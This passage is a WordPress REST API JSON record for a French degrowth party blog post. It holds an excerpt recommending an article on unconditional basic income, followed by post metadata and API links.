d&rsquo;existence (RIE) ou encore la dotation inconditionnel d&rsquo;autonomie (DIA) se r\u00e9pand. Voici un excellent article de Mona Chollet, avec Thomas Lemahieu, publi\u00e9 sur P\u00e9riph\u00e9ries : Revenu garanti, &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=5273\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":9,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,17],"tags":[],"class_list":["post-5273","post","type-post","status-publish","format-standard","hentry","category-actualites","category-revue-de-medias"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5273","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5273"}],"version-history":[{"count":11,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5273\/revisions"}],"predecessor-version":[{"id":5282,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/5273\/revisions\/5282"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5273"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}